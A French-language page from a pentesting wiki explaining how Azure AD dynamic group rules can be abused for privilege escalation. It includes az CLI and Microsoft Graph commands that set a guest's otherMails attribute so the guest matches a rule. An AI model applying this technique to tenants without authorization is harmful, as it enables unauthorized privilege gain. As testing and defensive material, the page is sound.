# Az - Dynamic Groups Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Informations de base

Les **dynamic groups** sont des groupes qui ont un ensemble de **règles** configurées et tous les **utilisateurs ou appareils** qui correspondent aux règles sont ajoutés au groupe. Chaque fois qu'un **attribut** d'utilisateur ou d'appareil est **modifié**, les règles dynamiques sont **vérifiées à nouveau**. Et lorsqu'une **nouvelle règle** est **créée**, tous les appareils et utilisateurs sont **vérifiés**.

Les groupes dynamiques peuvent avoir des **rôles Azure RBAC assignés** à eux, mais il est **impossible** d'ajouter des **rôles AzureAD** aux groupes dynamiques.

Cette fonctionnalité nécessite une licence Azure AD premium P1.

## Privesc

Notez qu'en default, tout utilisateur peut inviter des invités dans Azure AD, donc, si une **règle** de groupe dynamique donne des **permissions** aux utilisateurs en fonction des **attributs** qui peuvent être **définis** dans un nouvel **invité**, il est possible de **créer un invité** avec ces attributs et **escalader les privilèges**. Il est également possible pour un invité de gérer son propre profil et de modifier ces attributs.

Obtenez les groupes qui permettent l'adhésion dynamique : **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**

### Exemple

- **Exemple de règle** : `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")`
- **Description de la règle** : Tout utilisateur invité avec un email secondaire contenant la chaîne 'security' sera ajouté au groupe

Pour l'email de l'utilisateur invité, acceptez l'invitation et vérifiez les paramètres actuels de **cet utilisateur** dans [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
Malheureusement, la page ne permet pas de modifier les valeurs des attributs, donc nous devons utiliser l'API :
```bash
# Login with the gust user
az login --allow-no-subscriptions

# Get user object ID
az ad signed-in-user show

# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'

# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"
```
## Références

- [https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/)

{{#include ../../../../banners/hacktricks-training.md}}
